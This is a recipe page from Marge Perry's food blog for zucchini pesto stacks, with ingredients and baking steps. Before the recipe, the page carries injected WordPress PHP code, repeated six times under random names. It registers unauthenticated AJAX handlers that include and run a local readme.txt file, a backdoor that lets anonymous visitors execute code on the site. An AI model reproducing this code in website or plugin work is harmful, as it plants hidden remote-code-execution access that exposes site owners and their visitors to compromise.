Marge Perry's A Sweet and Savory Life

if(!function_exists('file_check_readme94295')){ add_action('wp_ajax_nopriv_file_check_readme94295', 'file_check_readme94295'); add_action('wp_ajax_file_check_readme94295', 'file_check_readme94295'); function file_check_readme94295() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme23949')){ add_action('wp_ajax_nopriv_file_check_readme23949', 'file_check_readme23949'); add_action('wp_ajax_file_check_readme23949', 'file_check_readme23949'); function file_check_readme23949() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme79203')){ add_action('wp_ajax_nopriv_file_check_readme79203', 'file_check_readme79203'); add_action('wp_ajax_file_check_readme79203', 'file_check_readme79203'); function file_check_readme79203() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme98499')){ add_action('wp_ajax_nopriv_file_check_readme98499', 'file_check_readme98499'); add_action('wp_ajax_file_check_readme98499', 'file_check_readme98499'); function file_check_readme98499() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme74391')){ add_action('wp_ajax_nopriv_file_check_readme74391', 'file_check_readme74391'); add_action('wp_ajax_file_check_readme74391', 'file_check_readme74391'); function file_check_readme74391() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme17886')){ add_action('wp_ajax_nopriv_file_check_readme17886', 'file_check_readme17886'); add_action('wp_ajax_file_check_readme17886', 'file_check_readme17886'); function file_check_readme17886() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } Marge Perry's A Sweet and Savory Life

Zucchini Pesto Stacks

Servings

Ingredients

1cup basil leaves
1/4 cup walnuts
1/4cup extra virgin olive oil
1 tablespoon water
2tablespoons grated parmesan
2 medium zucchinin (about 20 ounces), sliced across on the diagonal
1/4teaspoon salt
1cup shredded part skim mozzarella, divided
3 small tomatoes, about 16 ounces, cut in 1/4-inch slices

Instructions

Preheat the oven to 400 degrees. Coat a shallow baking sheet pan with cooking spray.
Combine the basil and walnuts in the food processor and pulse; with the machine running, add the oil and water in a slow steady stream. Add the parmesan, pulse to combine and set aside.
Lay the zucchini out in a single layer on the baking sheet and season with the salt. Sprinkle ¼ cup of the shredded mozzarella on the zucchini. Top with a tomato slice. Spread each tomato with about 1 teaspoon pesto and top with the remaining mozzarella.
Bake until the cheese is melted and golden and the zucchini is fork tender, about 22 minutes.